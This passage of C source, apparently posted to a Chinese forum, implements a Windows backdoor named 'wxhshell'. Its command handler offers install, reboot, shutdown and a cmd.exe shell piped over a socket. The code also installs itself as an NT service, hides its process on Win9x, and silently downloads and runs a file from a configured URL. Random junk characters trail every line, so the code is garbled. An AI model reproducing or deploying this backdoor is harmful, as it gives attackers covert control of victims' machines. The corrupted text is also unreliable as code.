  // 帮助 EronNtu8i  
  case '?': { X=Y(,ZR(&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o8A8fHl  
    break; 1n*"C!q  
  } bz,"TG[  
  // 安装 =_6 Q26  
  case 'i': { yk^2<?z>2  
    if(Install()) 64y9.PY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gC%$)4-:  
    else cdI"=B+C\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>r~pY~$  
    break; t82*rC IB{  
    } z0YL,  
  // 卸载 9Ns%<FRO@  
  case 'r': { ;_ 1Rk&o!  
    if(Uninstall()) |<1A<fU8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WhFE{-!gX  
    else P;X0L{u0H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%o@!|=I  
    break; uzp\<\d-t  
    } ljg6uz1v %  
  // 显示 wxhshell 所在路径 `USze0"t0:  
  case 'p': { Q2m 5&yy@s  
    char svExeFile[MAX_PATH]; W=#jtU`:5  
    strcpy(svExeFile,"\n\r"); gId :IR  
      strcat(svExeFile,ExeFile); 'Vhnio;qC  
        send(wsh,svExeFile,strlen(svExeFile),0); 8[ ZuVJ]  
    break; ) 5x$J01S  
    } fkk9&QB%(  
  // 重启 DU5rB\!.~  
  case 'b': { ^|!\IzDp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZXbq5p_  
    if(Boot(REBOOT)) a@ ? Bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?H{?jJj$H  
    else { ds2xl7jg  
    closesocket(wsh); :efDPNm5  
    ExitThread(0); Tjj27+y*\  
    } =*UVe%N4  
    break; y#O/Xw  
    } r $LU$F  
  // 关机 Fv nf;']q  
  case 'd': { |^w&dj\,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `"xzC $  
    if(Boot(SHUTDOWN)) '81Rwp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?;=\%^<  
    else { sI#h&V,9  
    closesocket(wsh); IpKI6[2{`f  
    ExitThread(0); p@?(m/m$  
    } &Ci_wDJ  
    break; {-|El}.M  
    } _JKz5hSl  
  // 获取shell =wl0  
  case 's': { G+3uY25y  
    CmdShell(wsh); %2?"x*A  
    closesocket(wsh); )R@Y$*fm  
    ExitThread(0); )1)&fN41i#  
    break; IJ{VCzi  
  } *@YQr]~ ;  
  // 退出 6iEA._y  
  case 'x': { V%^d~^m,H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7=A @P  
    CloseIt(wsh); I wu^@  
    break; |g\CS4$  
    } |c2;`T#`o  
  // 离开 "nNT9 K|  
  case 'q': { (d[JMO^@8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E/d\ebX|  
    closesocket(wsh); Hjy4tA7,l  
    WSACleanup(); xf qu=z8X  
    exit(1); ,`$2  
    break; (<|1/^~=  
        } q}&+{dN\1  
  } You~ 6d6Om  
  } L[:M[,?=`  
.4=A:9  
  // 提示信息 d%1 Vby  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `_{,4oi  
} gg Hl{cl)  
  } 6U] "i  
n+'s9  
  return; ^$8WV&5q>  
} EOGz;:b&  
+C4NhA2  
// shell模块句柄 q(5  
int CmdShell(SOCKET sock) u3PM 7z!~  
{ ZgzYXh2  
STARTUPINFO si; Ak\"C4s  
ZeroMemory(&si,sizeof(si)); ZB,UQ~!Yr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OJLyqncw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A+hT2Ew@t}  
PROCESS_INFORMATION ProcessInfo; &([Gc+"5E.  
char cmdline[]="cmd"; wY7+E/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * x.gPG  
  return 0; v;" pc)i  
} D._7)$d  
fydQaxCND  
// 自身启动模式 j)jt&Gg'  
int StartFromService(void) x=Ez hq]X  
{ TyaK_XW  
typedef struct j<vU[J+gx~  
{ \&s$?r  
  DWORD ExitStatus; GS!1K(7  
  DWORD PebBaseAddress; Uetna!ABB  
  DWORD AffinityMask; Nbm$ta  
  DWORD BasePriority; PE+{<[n  
  ULONG UniqueProcessId; U9//m=_  
  ULONG InheritedFromUniqueProcessId; A~wyn5:_  
}   PROCESS_BASIC_INFORMATION; 0h"uJco,  
.1""U ']  
PROCNTQSIP NtQueryInformationProcess; i# Fe`Z ~J  
^aL> /'Y#|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v/G^yZa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xT8!X5;  
m^a0JR}u9  
  HANDLE             hProcess; TfA;4 ^  
  PROCESS_BASIC_INFORMATION pbi; &_Gu'A({J  
zS}!87r)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @<p9 O0  
  if(NULL == hInst ) return 0; 3T@`V FbE  
UeSPwY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3;EBKGg|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? )"v~vs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n,|YJ,v[  
/_/Z/D!  
  if (!NtQueryInformationProcess) return 0; z-h7v5i"  
yc@ :*Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bKPjxN?!9  
  if(!hProcess) return 0; #r80FVwiD  
G4,BcCPQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $b"Ex>  
8X= 2#&)  
  CloseHandle(hProcess); "I45=nf  
9QN(Wq@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wW'.bqA  
if(hProcess==NULL) return 0; -.7UpDg~  
[N*`3UZk"  
HMODULE hMod; ?B:],aztf  
char procName[255]; 4yRX{Bl|  
unsigned long cbNeeded; 8)&J oPN  
!Y]%U @4}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KU;m.{  
unkA%x{W;  
  CloseHandle(hProcess); X0%BE!  
Z-z(SKL  
if(strstr(procName,"services")) return 1; // 以服务启动 AKKVd% P(  
[{rne2sA  
  return 0; // 注册表启动 q&EwD(k  
} N+ei)-  
6)#%36rP  
// 主模块 ]4&B*]j  
int StartWxhshell(LPSTR lpCmdLine) A,GJ6qp3  
{ z_9q T"vF  
  SOCKET wsl; ^p #bxN")  
BOOL val=TRUE;  1O@ cev;  
  int port=0; aW$))J)0  
  struct sockaddr_in door; SCD;(I~4  
R~XNF/QMl  
  if(wscfg.ws_autoins) Install(); I$Fr8R$  
K|{&SU_m  
port=atoi(lpCmdLine); q|R$A8)L.  
%Z#[{yuFs  
if(port<=0) port=wscfg.ws_port; Ya,(J0l  
^NOy: >  
  WSADATA data; ju;Myi}a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IHf#P5y_  
<x1H:8A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $*dY f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bR|1* <  
  door.sin_family = AF_INET; <fcw:Ae  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xT3l>9i  
  door.sin_port = htons(port); n(el  
:Nw7!fd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \b|Q`)TK  
closesocket(wsl); |0a GX]Y  
return 1; .1?7)k v  
} 5%(xZ  6  
B?<Z(d7  
  if(listen(wsl,2) == INVALID_SOCKET) { OL$^7FB  
closesocket(wsl); fsVr<m  
return 1; =J&aN1Hgt  
} bR? $a+a)  
  Wxhshell(wsl); vke]VXU9z  
  WSACleanup(); d`4@aoM  
rwep e5  
return 0; ffE>%M*  
JQWW's}  
} v D4<G{  
d9uT*5f  
// 以NT服务方式启动 I45\xP4i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~6:y@4&F  
{ p` LPO  
DWORD   status = 0; cK+y3`.0  
  DWORD   specificError = 0xfffffff; G,b1u"  
e.^Y4(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DM@&=c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ *^E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wKs-<b%;  
  serviceStatus.dwWin32ExitCode     = 0; Yo#F;s7  
  serviceStatus.dwServiceSpecificExitCode = 0; 0_5j(   
  serviceStatus.dwCheckPoint       = 0; <S%kwS  
  serviceStatus.dwWaitHint       = 0; @IwVR  
fTc ,"{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HxH=~B1"P  
  if (hServiceStatusHandle==0) return; s_N]$3'[E  
Zr@G  
status = GetLastError(); PyfOBse}r  
  if (status!=NO_ERROR) `` mi9E  
{ ]&/KAk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1)f~OL8o  
    serviceStatus.dwCheckPoint       = 0; iVGc\6+'  
    serviceStatus.dwWaitHint       = 0; *Ad7GG1/u  
    serviceStatus.dwWin32ExitCode     = status; yS:1F PA$_  
    serviceStatus.dwServiceSpecificExitCode = specificError; C]+T5W\"<B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yD9<-B<)  
    return; P&@[ j0  
  } ew cgg  
Z'sO9Sg8>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?*8HZ1m#  
  serviceStatus.dwCheckPoint       = 0; 5Pl~du  
  serviceStatus.dwWaitHint       = 0; A/"p PO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2i~qihx5^  
} \V,;F!*#G  
)\TI^%s  
// 处理NT服务事件,比如:启动、停止 sZhl.[&zo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QWBQ 0#L  
{ \aO.LwYm;:  
switch(fdwControl) a,N?GxK~  
{ nu#_,x<LS  
case SERVICE_CONTROL_STOP: )pXw 3Fo  
  serviceStatus.dwWin32ExitCode = 0; /y"Y o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ihJC)m`Hbl  
  serviceStatus.dwCheckPoint   = 0; C=/nZGG  
  serviceStatus.dwWaitHint     = 0; #TX=%x6  
  { |O]oX[~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9y!ZoB  
  } *AU"FI> V  
  return; -cHX3UAEI  
case SERVICE_CONTROL_PAUSE: ?geEq'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,\K1cW~U5  
  break; IFY,j8~q  
case SERVICE_CONTROL_CONTINUE: pMX#!wb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z<F.0~)jb  
  break; AQ 5CrYb  
case SERVICE_CONTROL_INTERROGATE: lAwOp  
  break; uvrfR?%QK  
}; E*Q><UU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zoV-@<Eh  
} L. xzI-I@D  
\k|ZbCWg  
// 标准应用程序主函数 ,{{uRs/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F W# S.<  
{ :oH"  
!Ax7k;T  
// 获取操作系统版本 +0O{"XM  
OsIsNt=GetOsVer(); h,V#V1>Hu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cu\A[6g,  
E5M*Gs  
  // 从命令行安装 ),-4\!7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 tbH(  
Ir*,fyl  
  // 下载执行文件 [N/[7Q/y  
if(wscfg.ws_downexe) { u= K?K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) snBC +`-  
  WinExec(wscfg.ws_filenam,SW_HIDE); S{NfU/: dL  
} U!-|.N,  
7 '@l?u/6  
if(!OsIsNt) { B K'!WX  
// 如果时win9x,隐藏进程并且设置为注册表启动 <L__;j1Wx  
HideProc(); 4>gMe3]0  
StartWxhshell(lpCmdLine); 'H`_Z e<  
} 9zkR)C  
else eD, 7gC-  
  if(StartFromService()) yoj5XBM  
  // 以服务方式启动 LTY@}o]\U  
  StartServiceCtrlDispatcher(DispatchTable); 1px:(8]{  
else |400N +MK  
  // 普通方式启动 d+|8({X]D8  
  StartWxhshell(lpCmdLine); gtHk1 9  
>=2nAv/(  
return 0; P$)9osr  
}
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只看该作者 1 发表于: 2006-10-10
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